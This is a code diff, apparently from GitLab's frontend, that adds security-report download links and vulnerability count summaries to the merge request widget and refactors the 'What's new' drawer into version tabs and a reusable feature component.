+++ b/app/assets/javascripts/vue_shared/security_reports/queries/security_report_download_paths.query.graphql
@@ -0,0 +1,23 @@
+query securityReportDownloadPaths(
+ $projectPath: ID!
+ $iid: String!
+ $reportTypes: [SecurityReportTypeEnum!]
+) {
+ project(fullPath: $projectPath) {
+ mergeRequest(iid: $iid) {
+ headPipeline {
+ jobs(securityReportTypes: $reportTypes) {
+ nodes {
+ name
+ artifacts {
+ nodes {
+ downloadPath
+ fileType
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue b/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
index 89253cc7116..bdbf9957ad4 100644
--- a/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
+++ b/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
@@ -1,19 +1,37 @@
<script>
-import { GlIcon, GlLink, GlSprintf } from '@gitlab/ui';
+import { mapActions, mapGetters } from 'vuex';
+import { GlLink, GlSprintf } from '@gitlab/ui';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import ReportSection from '~/reports/components/report_section.vue';
-import { status } from '~/reports/constants';
+import { LOADING, ERROR, SLOT_SUCCESS, SLOT_LOADING, SLOT_ERROR } from '~/reports/constants';
import { s__ } from '~/locale';
import { normalizeHeaders, parseIntPagination } from '~/lib/utils/common_utils';
-import Flash from '~/flash';
+import createFlash from '~/flash';
import Api from '~/api';
+import HelpIcon from './components/help_icon.vue';
+import SecurityReportDownloadDropdown from './components/security_report_download_dropdown.vue';
+import SecuritySummary from './components/security_summary.vue';
+import store from './store';
+import { MODULE_SAST, MODULE_SECRET_DETECTION } from './store/constants';
+import {
+ REPORT_TYPE_SAST,
+ REPORT_TYPE_SECRET_DETECTION,
+ reportTypeToSecurityReportTypeEnum,
+} from './constants';
+import securityReportDownloadPathsQuery from './queries/security_report_download_paths.query.graphql';
+import { extractSecurityReportArtifacts } from './utils';
export default {
+ store,
components: {
- GlIcon,
GlLink,
GlSprintf,
ReportSection,
+ HelpIcon,
+ SecurityReportDownloadDropdown,
+ SecuritySummary,
},
+ mixins: [glFeatureFlagsMixin()],
props: {
pipelineId: {
type: Number,
@@ -27,33 +45,131 @@ export default {
type: String,
required: true,
},
+ discoverProjectSecurityPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ sastComparisonPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ secretScanningComparisonPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ targetProjectFullPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ mrIid: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
+ canDiscoverProjectSecurity: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
- hasSecurityReports: false,
+ availableSecurityReports: [],
+ canShowCounts: false,
- // Error state is shown even when successfully loaded, since success
+ // When core_security_mr_widget_counts is not enabled, the
+ // error state is shown even when successfully loaded, since success
// state suggests that the security scans detected no security problems,
// which is not necessarily the case. A future iteration will actually
// check whether problems were found and display the appropriate status.
- status: status.ERROR,
+ status: ERROR,
};
},
+ apollo: {
+ reportArtifacts: {
+ query: securityReportDownloadPathsQuery,
+ variables() {
+ return {
+ projectPath: this.targetProjectFullPath,
+ iid: String(this.mrIid),
+ reportTypes: this.$options.reportTypes.map(
+ reportType => reportTypeToSecurityReportTypeEnum[reportType],
+ ),
+ };
+ },
+ skip() {
+ return !this.canShowDownloads;
+ },
+ update(data) {
+ return extractSecurityReportArtifacts(this.$options.reportTypes, data);
+ },
+ error(error) {
+ this.showError(error);
+ },
+ result({ loading }) {
+ if (loading) {
+ return;
+ }
+
+ // Query has completed, so populate the availableSecurityReports.
+ this.onCheckingAvailableSecurityReports(
+ this.reportArtifacts.map(({ reportType }) => reportType),
+ );
+ },
+ },
+ },
+ computed: {
+ ...mapGetters(['groupedSummaryText', 'summaryStatus']),
+ canShowDownloads() {
+ return this.glFeatures.coreSecurityMrWidgetDownloads;
+ },
+ hasSecurityReports() {
+ return this.availableSecurityReports.length > 0;
+ },
+ hasSastReports() {
+ return this.availableSecurityReports.includes(REPORT_TYPE_SAST);
+ },
+ hasSecretDetectionReports() {
+ return this.availableSecurityReports.includes(REPORT_TYPE_SECRET_DETECTION);
+ },
+ isLoadingReportArtifacts() {
+ return this.$apollo.queries.reportArtifacts.loading;
+ },
+ shouldShowDownloadGuidance() {
+ return !this.canShowDownloads && this.summaryStatus !== LOADING;
+ },
+ scansHaveRunMessage() {
+ return this.canShowDownloads
+ ? this.$options.i18n.scansHaveRun
+ : this.$options.i18n.scansHaveRunWithDownloadGuidance;
+ },
+ },
created() {
- this.checkHasSecurityReports(this.$options.reportTypes)
- .then(hasSecurityReports => {
- this.hasSecurityReports = hasSecurityReports;
- })
- .catch(error => {
- Flash({
- message: this.$options.i18n.apiError,
- captureError: true,
- error,
- });
- });
+ if (!this.canShowDownloads) {
+ this.checkAvailableSecurityReports(this.$options.reportTypes)
+ .then(availableSecurityReports => {
+ this.onCheckingAvailableSecurityReports(Array.from(availableSecurityReports));
+ })
+ .catch(this.showError);
+ }
},
methods: {
- async checkHasSecurityReports(reportTypes) {
+ ...mapActions(MODULE_SAST, {
+ setSastDiffEndpoint: 'setDiffEndpoint',
+ fetchSastDiff: 'fetchDiff',
+ }),
+ ...mapActions(MODULE_SECRET_DETECTION, {
+ setSecretDetectionDiffEndpoint: 'setDiffEndpoint',
+ fetchSecretDetectionDiff: 'fetchDiff',
+ }),
+ async checkAvailableSecurityReports(reportTypes) {
+ const reportTypesSet = new Set(reportTypes);
+ const availableReportTypes = new Set();
+
let page = 1;
while (page) {
// eslint-disable-next-line no-await-in-loop
@@ -62,47 +178,127 @@ export default {
page,
});
- const hasSecurityReports = jobs.some(({ artifacts = [] }) =>
- artifacts.some(({ file_type }) => reportTypes.includes(file_type)),
- );
+ jobs.forEach(({ artifacts = [] }) => {
+ artifacts.forEach(({ file_type }) => {
+ if (reportTypesSet.has(file_type)) {
+ availableReportTypes.add(file_type);
+ }
+ });
+ });
- if (hasSecurityReports) {
- return true;
+ // If we've found artifacts for all the report types, stop looking!
+ if (availableReportTypes.size === reportTypesSet.size) {
+ return availableReportTypes;
}
page = parseIntPagination(normalizeHeaders(headers)).nextPage;
}
- return false;
+ return availableReportTypes;
+ },
+ fetchCounts() {
+ if (!this.glFeatures.coreSecurityMrWidgetCounts) {
+ return;
+ }
+
+ if (this.sastComparisonPath && this.hasSastReports) {
+ this.setSastDiffEndpoint(this.sastComparisonPath);
+ this.fetchSastDiff();
+ this.canShowCounts = true;
+ }
+
+ if (this.secretScanningComparisonPath && this.hasSecretDetectionReports) {
+ this.setSecretDetectionDiffEndpoint(this.secretScanningComparisonPath);
+ this.fetchSecretDetectionDiff();
+ this.canShowCounts = true;
+ }
},
activatePipelinesTab() {
if (window.mrTabs) {
window.mrTabs.tabShown('pipelines');
}
},
+ onCheckingAvailableSecurityReports(availableSecurityReports) {
+ this.availableSecurityReports = availableSecurityReports;
+ this.fetchCounts();
+ },
+ showError(error) {
+ createFlash({
+ message: this.$options.i18n.apiError,
+ captureError: true,
+ error,
+ });
+ },
},
- reportTypes: ['sast', 'secret_detection'],
+ reportTypes: [REPORT_TYPE_SAST, REPORT_TYPE_SECRET_DETECTION],
i18n: {
apiError: s__(
'SecurityReports|Failed to get security report information. Please reload the page or try again later.',
),
- scansHaveRun: s__(
+ scansHaveRun: s__('SecurityReports|Security scans have run'),
+ scansHaveRunWithDownloadGuidance: s__(
'SecurityReports|Security scans have run. Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports',
),
- securityReportsHelp: s__('SecurityReports|Security reports help page link'),
+ downloadFromPipelineTab: s__(
+ 'SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports',
+ ),
},
+ summarySlots: [SLOT_SUCCESS, SLOT_LOADING, SLOT_ERROR],
};
</script>
<template>
<report-section
- v-if="hasSecurityReports"
+ v-if="canShowCounts"
+ :status="summaryStatus"
+ :has-issues="false"
+ class="mr-widget-border-top mr-report"
+ data-testid="security-mr-widget"
+ >
+ <template v-for="slot in $options.summarySlots" #[slot]>
+ <span :key="slot">
+ <security-summary :message="groupedSummaryText" />
+
+ <help-icon
+ :help-path="securityReportsDocsPath"
+ :discover-project-security-path="discoverProjectSecurityPath"
+ />
+ </span>
+ </template>
+
+ <template v-if="shouldShowDownloadGuidance" #sub-heading>
+ <span class="gl-font-sm">
+ <gl-sprintf :message="$options.i18n.downloadFromPipelineTab">
+ <template #link="{ content }">
+ <gl-link
+ class="gl-font-sm"
+ data-testid="show-pipelines"
+ @click="activatePipelinesTab"
+ >{{ content }}</gl-link
+ >
+ </template>
+ </gl-sprintf>
+ </span>
+ </template>
+
+ <template v-if="canShowDownloads" #action-buttons>
+ <security-report-download-dropdown
+ :artifacts="reportArtifacts"
+ :loading="isLoadingReportArtifacts"
+ />
+ </template>
+ </report-section>
+
+ <!-- TODO: Remove this section when removing core_security_mr_widget_counts
+ feature flag. See https://gitlab.com/gitlab-org/gitlab/-/issues/284097 -->
+ <report-section
+ v-else-if="hasSecurityReports"
:status="status"
:has-issues="false"
class="mr-widget-border-top mr-report"
data-testid="security-mr-widget"
>
<template #error>
- <gl-sprintf :message="$options.i18n.scansHaveRun">
+ <gl-sprintf :message="scansHaveRunMessage">
<template #link="{ content }">
<gl-link data-testid="show-pipelines" @click="activatePipelinesTab">{{
content
@@ -110,14 +306,17 @@ export default {
</template>
</gl-sprintf>
- <gl-link
- target="_blank"
- data-testid="help"
- :href="securityReportsDocsPath"
- :aria-label="$options.i18n.securityReportsHelp"
- >
- <gl-icon name="question" />
- </gl-link>
+ <help-icon
+ :help-path="securityReportsDocsPath"
+ :discover-project-security-path="discoverProjectSecurityPath"
+ />
+ </template>
+
+ <template v-if="canShowDownloads" #action-buttons>
+ <security-report-download-dropdown
+ :artifacts="reportArtifacts"
+ :loading="isLoadingReportArtifacts"
+ />
</template>
</report-section>
</template>
diff --git a/app/assets/javascripts/vue_shared/security_reports/store/constants.js b/app/assets/javascripts/vue_shared/security_reports/store/constants.js
new file mode 100644
index 00000000000..6aeab56eea2
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/store/constants.js
@@ -0,0 +1,7 @@
+/**
+ * Vuex module names corresponding to security scan types. These are similar to
+ * the snake_case report types from the backend, but should not be considered
+ * to be equivalent.
+ */
+export const MODULE_SAST = 'sast';
+export const MODULE_SECRET_DETECTION = 'secretDetection';
diff --git a/app/assets/javascripts/vue_shared/security_reports/store/getters.js b/app/assets/javascripts/vue_shared/security_reports/store/getters.js
new file mode 100644
index 00000000000..1e5a60c32fd
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/store/getters.js
@@ -0,0 +1,66 @@
+import { s__, sprintf } from '~/locale';
+import { countVulnerabilities, groupedTextBuilder } from './utils';
+import { LOADING, ERROR, SUCCESS } from '~/reports/constants';
+import { TRANSLATION_IS_LOADING } from './messages';
+
+export const summaryCounts = state =>
+ countVulnerabilities(
+ state.reportTypes.reduce((acc, reportType) => {
+ acc.push(...state[reportType].newIssues);
+ return acc;
+ }, []),
+ );
+
+export const groupedSummaryText = (state, getters) => {
+ const reportType = s__('ciReport|Security scanning');
+ let status = '';
+
+ // All reports are loading
+ if (getters.areAllReportsLoading) {
+ return { message: sprintf(TRANSLATION_IS_LOADING, { reportType }) };
+ }
+
+ // All reports returned error
+ if (getters.allReportsHaveError) {
+ return { message: s__('ciReport|Security scanning failed loading any results') };
+ }
+
+ if (getters.areReportsLoading && getters.anyReportHasError) {
+ status = s__('ciReport|is loading, errors when loading results');
+ } else if (getters.areReportsLoading && !getters.anyReportHasError) {
+ status = s__('ciReport|is loading');
+ } else if (!getters.areReportsLoading && getters.anyReportHasError) {
+ status = s__('ciReport|: Loading resulted in an error');
+ }
+
+ const { critical, high, other } = getters.summaryCounts;
+
+ return groupedTextBuilder({ reportType, status, critical, high, other });
+};
+
+export const summaryStatus = (state, getters) => {
+ if (getters.areReportsLoading) {
+ return LOADING;
+ }
+
+ if (getters.anyReportHasError || getters.anyReportHasIssues) {
+ return ERROR;
+ }
+
+ return SUCCESS;
+};
+
+export const areReportsLoading = state =>
+ state.reportTypes.some(reportType => state[reportType].isLoading);
+
+export const areAllReportsLoading = state =>
+ state.reportTypes.every(reportType => state[reportType].isLoading);
+
+export const allReportsHaveError = state =>
+ state.reportTypes.every(reportType => state[reportType].hasError);
+
+export const anyReportHasError = state =>
+ state.reportTypes.some(reportType => state[reportType].hasError);
+
+export const anyReportHasIssues = state =>
+ state.reportTypes.some(reportType => state[reportType].newIssues.length > 0);
diff --git a/app/assets/javascripts/vue_shared/security_reports/store/index.js b/app/assets/javascripts/vue_shared/security_reports/store/index.js
new file mode 100644
index 00000000000..10705e04a21
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/store/index.js
@@ -0,0 +1,16 @@
+import Vuex from 'vuex';
+import * as getters from './getters';
+import state from './state';
+import { MODULE_SAST, MODULE_SECRET_DETECTION } from './constants';
+import sast from './modules/sast';
+import secretDetection from './modules/secret_detection';
+
+export default () =>
+ new Vuex.Store({
+ modules: {
+ [MODULE_SAST]: sast,
+ [MODULE_SECRET_DETECTION]: secretDetection,
+ },
+ getters,
+ state,
+ });
diff --git a/app/assets/javascripts/vue_shared/security_reports/store/messages.js b/app/assets/javascripts/vue_shared/security_reports/store/messages.js
new file mode 100644
index 00000000000..c25e252a768
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/store/messages.js
@@ -0,0 +1,4 @@
+import { s__ } from '~/locale';
+
+export const TRANSLATION_IS_LOADING = s__('ciReport|%{reportType} is loading');
+export const TRANSLATION_HAS_ERROR = s__('ciReport|%{reportType}: Loading resulted in an error');
diff --git a/app/assets/javascripts/vue_shared/security_reports/store/state.js b/app/assets/javascripts/vue_shared/security_reports/store/state.js
new file mode 100644
index 00000000000..5dc4d1ad2fb
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/store/state.js
@@ -0,0 +1,5 @@
+import { MODULE_SAST, MODULE_SECRET_DETECTION } from './constants';
+
+export default () => ({
+ reportTypes: [MODULE_SAST, MODULE_SECRET_DETECTION],
+});
diff --git a/app/assets/javascripts/vue_shared/security_reports/store/utils.js b/app/assets/javascripts/vue_shared/security_reports/store/utils.js
index 6e50efae741..c5e786c92b1 100644
--- a/app/assets/javascripts/vue_shared/security_reports/store/utils.js
+++ b/app/assets/javascripts/vue_shared/security_reports/store/utils.js
@@ -1,5 +1,7 @@
import pollUntilComplete from '~/lib/utils/poll_until_complete';
import axios from '~/lib/utils/axios_utils';
+import { __, n__, sprintf } from '~/locale';
+import { CRITICAL, HIGH } from '~/vulnerabilities/constants';
import {
FEEDBACK_TYPE_DISMISSAL,
FEEDBACK_TYPE_ISSUE,
@@ -73,3 +75,79 @@ export const parseDiff = (diff, enrichData) => {
existing: diff.existing ? diff.existing.map(enrichVulnerability) : [],
};
};
+
+const createCountMessage = ({ critical, high, other, total }) => {
+ const otherMessage = n__('%d Other', '%d Others', other);
+ const countMessage = __(
+ '%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}',
+ );
+ return total ? sprintf(countMessage, { critical, high, otherMessage }) : '';
+};
+
+const createStatusMessage = ({ reportType, status, total }) => {
+ const vulnMessage = n__('vulnerability', 'vulnerabilities', total);
+ let message;
+ if (status) {
+ message = __('%{reportType} %{status}');
+ } else if (!total) {
+ message = __('%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities.');
+ } else {
+ message = __(
+ '%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}',
+ );
+ }
+ return sprintf(message, { reportType, status, total, vulnMessage });
+};
+
+/**
+ * Counts vulnerabilities.
+ * Returns the amount of critical, high, and other vulnerabilities.
+ *
+ * @param {Array} vulnerabilities The raw vulnerabilities to parse
+ * @returns {{critical: number, high: number, other: number}}
+ */
+export const countVulnerabilities = (vulnerabilities = []) =>
+ vulnerabilities.reduce(
+ (acc, { severity }) => {
+ if (severity === CRITICAL) {
+ acc.critical += 1;
+ } else if (severity === HIGH) {
+ acc.high += 1;
+ } else {
+ acc.other += 1;
+ }
+
+ return acc;
+ },
+ { critical: 0, high: 0, other: 0 },
+ );
+
+/**
+ * Takes an object of options and returns the object with an externalized string representing
+ * the critical, high, and other severity vulnerabilities for a given report.
+ *
+ * The resulting string _may_ still contain sprintf-style placeholders. These
+ * are left in place so they can be replaced with markup, via the
+ * SecuritySummary component.
+ * @param {{reportType: string, status: string, critical: number, high: number, other: number}} options
+ * @returns {Object} the parameters with an externalized string
+ */
+export const groupedTextBuilder = ({
+ reportType = '',
+ status = '',
+ critical = 0,
+ high = 0,
+ other = 0,
+} = {}) => {
+ const total = critical + high + other;
+
+ return {
+ countMessage: createCountMessage({ critical, high, other, total }),
+ message: createStatusMessage({ reportType, status, total }),
+ critical,
+ high,
+ other,
+ status,
+ total,
+ };
+};
diff --git a/app/assets/javascripts/vue_shared/security_reports/utils.js b/app/assets/javascripts/vue_shared/security_reports/utils.js
new file mode 100644
index 00000000000..827a87f9aaf
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/utils.js
@@ -0,0 +1,22 @@
+import { securityReportTypeEnumToReportType } from './constants';
+
+export const extractSecurityReportArtifacts = (reportTypes, data) => {
+ const jobs = data.project?.mergeRequest?.headPipeline?.jobs?.nodes ?? [];
+
+ return jobs.reduce((acc, job) => {
+ const artifacts = job.artifacts?.nodes ?? [];
+
+ artifacts.forEach(({ downloadPath, fileType }) => {
+ const reportType = securityReportTypeEnumToReportType[fileType];
+ if (reportType && reportTypes.includes(reportType)) {
+ acc.push({
+ name: job.name,
+ reportType,
+ path: downloadPath,
+ });
+ }
+ });
+
+ return acc;
+ }, []);
+};
diff --git a/app/assets/javascripts/vuex_shared/modules/members/index.js b/app/assets/javascripts/vuex_shared/modules/members/index.js
deleted file mode 100644
index 586d52a5288..00000000000
--- a/app/assets/javascripts/vuex_shared/modules/members/index.js
+++ /dev/null
@@ -1,10 +0,0 @@
-import createState from 'ee_else_ce/vuex_shared/modules/members/state';
-import mutations from 'ee_else_ce/vuex_shared/modules/members/mutations';
-import * as actions from 'ee_else_ce/vuex_shared/modules/members/actions';
-
-export default initialState => ({
- namespaced: true,
- state: createState(initialState),
- actions,
- mutations,
-});
diff --git a/app/assets/javascripts/vuex_shared/modules/members/state.js b/app/assets/javascripts/vuex_shared/modules/members/state.js
deleted file mode 100644
index ab3ebb34616..00000000000
--- a/app/assets/javascripts/vuex_shared/modules/members/state.js
+++ /dev/null
@@ -1,21 +0,0 @@
-export default ({
- members,
- sourceId,
- currentUserId,
- tableFields,
- tableAttrs,
- memberPath,
- requestFormatter,
-}) => ({
- members,
- sourceId,
- currentUserId,
- tableFields,
- tableAttrs,
- memberPath,
- requestFormatter,
- showError: false,
- errorMessage: '',
- removeGroupLinkModalVisible: false,
- groupLinkToRemove: null,
-});
diff --git a/app/assets/javascripts/vulnerabilities/constants.js b/app/assets/javascripts/vulnerabilities/constants.js
new file mode 100644
index 00000000000..42fb38e8e7e
--- /dev/null
+++ b/app/assets/javascripts/vulnerabilities/constants.js
@@ -0,0 +1,15 @@
+/**
+ * Vulnerability severities as provided by the backend on vulnerability
+ * objects.
+ */
+export const CRITICAL = 'critical';
+export const HIGH = 'high';
+export const MEDIUM = 'medium';
+export const LOW = 'low';
+export const INFO = 'info';
+export const UNKNOWN = 'unknown';
+
+/**
+ * All vulnerability severities in decreasing order.
+ */
+export const SEVERITIES = [CRITICAL, HIGH, MEDIUM, LOW, INFO, UNKNOWN];
diff --git a/app/assets/javascripts/whats_new/components/app.vue b/app/assets/javascripts/whats_new/components/app.vue
index 3c1de57252a..560cabd3bba 100644
--- a/app/assets/javascripts/whats_new/components/app.vue
+++ b/app/assets/javascripts/whats_new/components/app.vue
@@ -2,13 +2,15 @@
import { mapState, mapActions } from 'vuex';
import {
GlDrawer,
- GlBadge,
- GlIcon,
- GlLink,
GlInfiniteScroll,
GlResizeObserverDirective,
+ GlTabs,
+ GlTab,
+ GlBadge,
+ GlLoadingIcon,
} from '@gitlab/ui';
import SkeletonLoader from './skeleton_loader.vue';
+import Feature from './feature.vue';
import Tracking from '~/tracking';
import { getDrawerBodyHeight } from '../utils/get_drawer_body_height';
@@ -17,11 +19,13 @@ const trackingMixin = Tracking.mixin();
export default {
components: {
GlDrawer,
- GlBadge,
- GlIcon,
- GlLink,
GlInfiniteScroll,
+ GlTabs,
+ GlTab,
SkeletonLoader,
+ Feature,
+ GlBadge,
+ GlLoadingIcon,
},
directives: {
GlResizeObserver: GlResizeObserverDirective,
@@ -31,11 +35,19 @@ export default {
storageKey: {
type: String,
required: true,
- default: null,
+ },
+ versions: {
+ type: Array,
+ required: true,
+ },
+ gitlabDotCom: {
+ type: Boolean,
+ required: false,
+ default: false,
},
},
computed: {
- ...mapState(['open', 'features', 'pageInfo', 'drawerBodyHeight']),
+ ...mapState(['open', 'features', 'pageInfo', 'drawerBodyHeight', 'fetching']),
},
mounted() {
this.openDrawer(this.storageKey);
@@ -49,14 +61,25 @@ export default {
methods: {
...mapActions(['openDrawer', 'closeDrawer', 'fetchItems', 'setDrawerBodyHeight']),
bottomReached() {
- if (this.pageInfo.nextPage) {
- this.fetchItems(this.pageInfo.nextPage);
+ const page = this.pageInfo.nextPage;
+ if (page) {
+ this.fetchItems({ page });
}
},
handleResize() {
const height = getDrawerBodyHeight(this.$refs.drawer.$el);
this.setDrawerBodyHeight(height);
},
+ featuresForVersion(version) {
+ return this.features.filter(feature => {
+ return feature.release === parseFloat(version);
+ });
+ },
+ fetchVersion(version) {
+ if (this.featuresForVersion(version).length === 0) {
+ this.fetchItems({ version });
+ }
+ },
},
};
</script>
@@ -73,64 +96,39 @@ export default {
<template #header>
<h4 class="page-title gl-my-2">{{ __("What's new at GitLab") }}</h4>
</template>
- <gl-infinite-scroll
- v-if="features.length"
- :fetched-items="features.length"
- :max-list-height="drawerBodyHeight"
- class="gl-p-0"
- @bottomReached="bottomReached"
- >
- <template #items>
- <div
- v-for="feature in features"
- :key="feature.title"
- class="gl-pb-7 gl-pt-5 gl-px-5 gl-border-b-1 gl-border-b-solid gl-border-b-gray-100"
+ <template v-if="features.length">
+ <gl-infinite-scroll
+ v-if="gitlabDotCom"
+ :fetched-items="features.length"
+ :max-list-height="drawerBodyHeight"
+ class="gl-p-0"
+ @bottomReached="bottomReached"
+ >
+ <template #items>
+ <feature v-for="feature in features" :key="feature.title" :feature="feature" />
+ </template>
+ </gl-infinite-scroll>
+ <gl-tabs v-else :style="{ height: `${drawerBodyHeight}px` }" class="gl-p-0">
+ <gl-tab
+ v-for="(version, index) in versions"
+ :key="version"
+ @click="fetchVersion(version)"
>
- <gl-link
- :href="feature.url"
- target="_blank"
- class="whats-new-item-title-link"
- data-track-event="click_whats_new_item"
- :data-track-label="feature.title"
- :data-track-property="feature.url"
- >
- <h5 class="gl-font-lg">{{ feature.title }}</h5>
- </gl-link>
- <div v-if="feature.packages" class="gl-mb-3">
- <gl-badge
- v-for="package_name in feature.packages"
- :key="package_name"
- size="sm"
- class="whats-new-item-badge gl-mr-2"
- >
- <gl-icon name="license" />{{ package_name }}
- </gl-badge>
- </div>
- <gl-link
- :href="feature.url"
- target="_blank"
- data-track-event="click_whats_new_item"
- :data-track-label="feature.title"
- :data-track-property="feature.url"
- >
- <img
- :alt="feature.title"
- :src="feature.image_url"
- class="img-thumbnail gl-px-8 gl-py-3 whats-new-item-image"
+ <template #title>
+ <span>{{ version }}</span>
+ <gl-badge v-if="index === 0">{{ __('Your Version') }}</gl-badge>
+ </template>
+ <gl-loading-icon v-if="fetching" size="lg" class="text-center" />
+ <template v-else>
+ <feature
+ v-for="feature in featuresForVersion(version)"
+ :key="feature.title"
+ :feature="feature"
/>
- </gl-link>
- <p class="gl-pt-3">{{ feature.body }}</p>
- <gl-link
- :href="feature.url"
- target="_blank"
- data-track-event="click_whats_new_item"
- :data-track-label="feature.title"
- :data-track-property="feature.url"
- >{{ __('Learn more') }}</gl-link
- >
- </div>
- </template>
- </gl-infinite-scroll>
+ </template>
+ </gl-tab>
+ </gl-tabs>
+ </template>
<div v-else class="gl-mt-5">
<skeleton-loader />
<skeleton-loader />
diff --git a/app/assets/javascripts/whats_new/components/feature.vue b/app/assets/javascripts/whats_new/components/feature.vue
new file mode 100644
index 00000000000..f6f7618b0d8
--- /dev/null
+++ b/app/assets/javascripts/whats_new/components/feature.vue
@@ -0,0 +1,67 @@
+<script>
+import { GlBadge, GlIcon, GlLink, GlSafeHtmlDirective } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlBadge,
+ GlIcon,
+ GlLink,
+ },
+ directives: {
+ SafeHtml: GlSafeHtmlDirective,
+ },
+ props: {
+ feature: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-pb-7 gl-pt-5 gl-px-5 gl-border-b-1 gl-border-b-solid gl-border-b-gray-100">
+ <gl-link
+ :href="feature.url"
+ target="_blank"
+ class="whats-new-item-title-link"
+ data-track-event="click_whats_new_item"
+ :data-track-label="feature.title"
+ :data-track-property="feature.url"
+ >
+ <h5 class="gl-font-lg" data-test-id="feature-title">{{ feature.title }}</h5>
+ </gl-link>
+ <div v-if="feature.packages" class="gl-mb-3">
+ <gl-badge
+ v-for="packageName in feature.packages"
+ :key="packageName"
+ size="sm"
+ class="whats-new-item-badge gl-mr-2"
+ >
+ <gl-icon name="license" />{{ packageName }}
+ </gl-badge>
+ </div>
+ <gl-link
+ :href="feature.url"
+ target="_blank"
+ data-track-event="click_whats_new_item"
+ :data-track-label="feature.title"
+ :data-track-property="feature.url"
+ >
+ <img
+ :alt="feature.title"
+ :src="feature.image_url"
+ class="img-thumbnail gl-px-8 gl-py-3 whats-new-item-image"
+ />
+ </gl-link>
+ <div v-safe-html="feature.body" class="gl-pt-3"></div>
+ <gl-link
+ :href="feature.url"
+ target="_blank"
+ data-track-event="click_whats_new_item"
+ :data-track-label="feature.title"
+ :data-track-property="feature.url"
+ >{{ __('Learn more') }}</gl-link
+ >
+ </div>
+</template>
diff --git a/app/assets/javascripts/whats_new/index.js b/app/assets/javascripts/whats_new/index.js
index a57c9718156..ed0258c3992 100644
--- a/app/assets/javascripts/whats_new/index.js
+++ b/app/assets/javascripts/whats_new/index.js
@@ -1,25 +1,35 @@
import Vue from 'vue';
+import { mapState } from 'vuex';
import App from './components/app.vue';
import store from './store';
+import { getStorageKey, setNotification } from './utils/notification';
let whatsNewApp;
-export default () => {
+export default el => {
if (whatsNewApp) {
store.dispatch('openDrawer');
} else {
- const whatsNewElm = document.getElementById('whats-new-app');
-
whatsNewApp = new Vue({
- el: whatsNewElm,
+ el,
store,
components: {
App,
},
+ computed: {
+ ...mapState(['open']),
+ },
+ watch: {
+ open() {
+ setNotification(el);
+ },
+ },
render(createElement) {
return createElement('app', {
props: {
- storageKey: whatsNewElm.getAttribute('data-storage-key'),
+ storageKey: getStorageKey(el),
+ versions: JSON.parse(el.getAttribute('data-versions')),
+ gitlabDotCom: el.getAttribute('data-gitlab-dot-com'),
},
});
},
diff --git a/app/assets/javascripts/whats_new/store/actions.js b/app/assets/javascripts/whats_new/store/actions.js
index 532febd61cb..0e5eeda742a 100644
--- a/app/assets/javascripts/whats_new/store/actions.js
+++ b/app/assets/javascripts/whats_new/store/actions.js
@@ -13,7 +13,7 @@ export default {
localStorage.setItem(storageKey, JSON.stringify(false));
}
},
- fetchItems({ commit, state }, page) {
+ fetchItems({ commit, state }, { page, version } = { page: null, version: null }) {
if (state.fetching) {
return false;
}
@@ -24,6 +24,7 @@ export default {
.get('/-/whats_new', {
params: {
page,
+ version,
},
})
.then(({ data, headers }) => {
diff --git a/app/assets/javascripts/whats_new/utils/notification.js b/app/assets/javascripts/whats_new/utils/notification.js
new file mode 100644
index 00000000000..f261a089554
--- /dev/null
+++ b/app/assets/javascripts/whats_new/utils/notification.js
@@ -0,0 +1,17 @@
+export const getStorageKey = appEl => appEl.getAttribute('data-storage-key');
+
+export const setNotification = appEl => {
+ const storageKey = getStorageKey(appEl);
+ const notificationEl = document.querySelector('.header-help');
+ let notificationCountEl = notificationEl.querySelector('.js-whats-new-notification-count');
+
+ if (JSON.parse(localStorage.getItem(storageKey)) === false) {
+ notificationEl.classList.remove('with-notifications');
+ if (notificationCountEl) {
+ notificationCountEl.parentElement.removeChild(notificationCountEl);
+ notificationCountEl = null;
+ }
+ } else {
+ notificationEl.classList.add('with-notifications');
+ }
+};
diff --git a/app/assets/stylesheets/_page_specific_files.scss b/app/assets/stylesheets/_page_specific_files.scss
index 52bc19fddd9..f56665553ba 100644
--- a/app/assets/stylesheets/_page_specific_files.scss
+++ b/app/assets/stylesheets/_page_specific_files.scss
@@ -10,7 +10,6 @@
@import './pages/events';
@import './pages/groups';
@import './pages/help';
-@import './pages/import';
@import './pages/incident_management_list';
@import './pages/issuable';
@import './pages/issues/issue_count_badge';
diff --git a/app/assets/stylesheets/application.scss b/app/assets/stylesheets/application.scss
index 4b1139d2354..9ef1b58ed24 100644
--- a/app/assets/stylesheets/application.scss
+++ b/app/assets/stylesheets/application.scss
@@ -5,14 +5,10 @@
// directory.
@import '@gitlab/at.js/dist/css/jquery.atwho';
@import 'dropzone/dist/basic';
-@import 'select2';
// GitLab UI framework
@import 'framework';
-// Custom Fontawesome icons
-@import 'fontawesome_custom';
-
// Page specific styles (issues, projects etc):
@import 'page_specific_files';
